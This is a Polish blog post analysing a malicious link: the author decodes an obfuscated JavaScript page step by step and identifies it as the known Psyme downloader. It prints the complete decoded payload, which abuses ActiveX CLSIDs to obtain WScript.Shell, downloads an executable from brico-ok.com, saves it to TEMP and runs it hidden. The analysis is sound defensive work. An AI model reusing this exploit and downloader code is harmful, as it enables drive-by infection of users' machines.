Nowy stary wirus...
Dostałem dzisiaj linka od osoby, o której wiem, że o godzinie, kiedy link ten został do mnie wysłany, nie siedziała przy komputerze, a więc na pewno tego linka mi nie wysłała. No więc do dzieła...
Link ten to www.brico-ok.com/ja_woll.php. Co znajduje się pod tym adresem? Pod adresem znajduje się następujący plik:
W miejscu “dużo śmiecia” znajduje się spory ciąg znaków alfanumerycznych. Cóż, na pierwszy rzut oka widać, że to właśnie tam trzeba szukać tego, o co w tej funkcji chodzi. Tak więc pierwszą rzeczą, którą zrobiłem, było pewne uczytelnienie funkcji dekodującej w powyższym kodzie oznaczonej jako ylNQjyCnG. Po drobnym uczytelnieniu wygląda ona mniej więcej tak:
var NÚotUwcbW='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
function ylNQjyCnG(EMOpwBlDw) { var tBdBWMfUk='', BNVhoXkÚA, edQLRSsLw2, FquDSdeLi, qrFrvqeTÚ, VXWCoWUGl, bXpkBbvcW, jOAwRfyvk, phwfÚbvus=0; EMOpwBlDw=EMOpwBlDw.replace(/[^A-Za-z0-9\+\/\=]/g, ''); do { qrFrvqeTÚ=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); VXWCoWUGl=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); bXpkBbvcW=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); jOAwRfyvk=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); BNVhoXkÚA=(qrFrvqeTÚ << 2) | (VXWCoWUGl >> 4); LwuWKtEKc=((VXWCoWUGl & 15) << 4) | (bXpkBbvcW >> 2); FquDSdeLi=((bXpkBbvcW & 3) << 6) | jOAwRfyvk; tBdBWMfUk=tBdBWMfUk+String.fromCharCode(BNVhoXkÚA); if (bXpkBbvcW!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(LwuWKtEKc); if (jOAwRfyvk!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(FquDSdeLi); } while (phwfÚbvus<EMOpwBlDw.length); eval(tBdBWMfUk);
}
Moją pierwszą myślą było przepisanie tej funkcji w Pythonie, ale potem stwierdziłem, że tak naprawdę mi się nie chce. Właściwie wszystkie linie są niegroźne, aż do linii eval(tBdBWMfUk); , która ewidentnie wykonuje fragment odkodowanego kodu (funkcja eval). Tak więc fragment ten zmieniłem na nieco bardziej “bezpieczną” (całość przeniosłem do WSH) WScript.Echo(tBdBWMfUk); , tak, by na ekran otrzymać to, co jest zakodowane w tym magicznym pliku... Wynik tego był następujący:
document.write(unescape('%253c%2568%2574%256d%256c%253e%253c%2568%2565%2561%2564%253e%253c%2574%2569%2574%256c%2565%253e%253c%252f%2574%2569%2574%256c%2565%253e')); // masa podobnego śmiecia document.write(unescape(''));
Cóż, wychodzi na to, że nadal najbardziej interesujący mnie kod zakodowany. Tym razem nie chciało mi się skorzystać z wbudowanej w każdy normalny edytor funkcji replace (no co, chwilowe zaćmienie umysłu), i zamiast tego popełniłem pythonowego potworka, który przetworzył powyższe linie zamieniając w nich fragment document.write na WScript.Echo. W rezultacie wykonania tego skryptu otrzymałem wreszcie poszukiwany przeze mnie kod:
<html><head><title></title> <script language="javascript"> function Log(m) { var log = document.createElement('p'); log.innerHTML = m; } function CreateO(o, n) { var r = null; try { eval('r = o.CreateObject(n)') }catch(e){} if (! r) { try { eval('r = o.CreateObject(n, "")') }catch(e){} } if (! r) { try { eval('r = o.CreateObject(n, "", "")') }catch(e){} } if (! r) { try { eval('r = o.GetObject("", n)') }catch(e){} } if (! r) { try { eval('r = o.GetObject(n, "")') }catch(e){} } if (! r) { try { eval('r = o.GetObject(n)') }catch(e){} } return(r); } function Go(a) { Log(' '); var s = CreateO(a, "WScript.Shell"); var o = CreateO(a, "ADODB.Stream"); var e = s.Environment("Process"); Log(' '); var url = "http://www.brico-ok.com/win32.exe"; var xml = null; var bin = e.Item("TEMP") + "windns32.exe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) return(0); Log(' '); xml.open("GET", url, false); xml.send(null); dat = xml.responseBody; Log(' '); o.Type = 1; o.Mode = 3; o.Open(); o.Write(dat); o.SaveToFile(bin, 2); Log(' '); s.Run(bin,0); } function Exploit() { var i = 0; var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null); while (t[i]) { var a = null; if (t[i].substring(0,1) == '{') { a = document.createElement("object"); a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1)); } else { try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) { try { var b = CreateO(a, "WScript.Shell"); if (b) { Log(' '); Go(a); return(0); } } catch(e){} } i++; } Log(' '); }
Exploit();
No i to by było na tyle tego dobrego. Okazuje się, że ten potworek wykorzystuje “starą” dziurę, a całość przypomina do złudzenia jeden z modułów Metasploit.
Całość okazała się być znanym już od dawna śmieciem Psyme. Nowy(?) jest chyba tylko sposób jego ukrycia. Co ciekawe ClamAV nie rozpoznaje ani zakodowanej, ani zdekodowanej formy.
Oryginał tego wpisu dostępny jest pod adresem Nowy stary wirus...
Autor: Paweł Goleń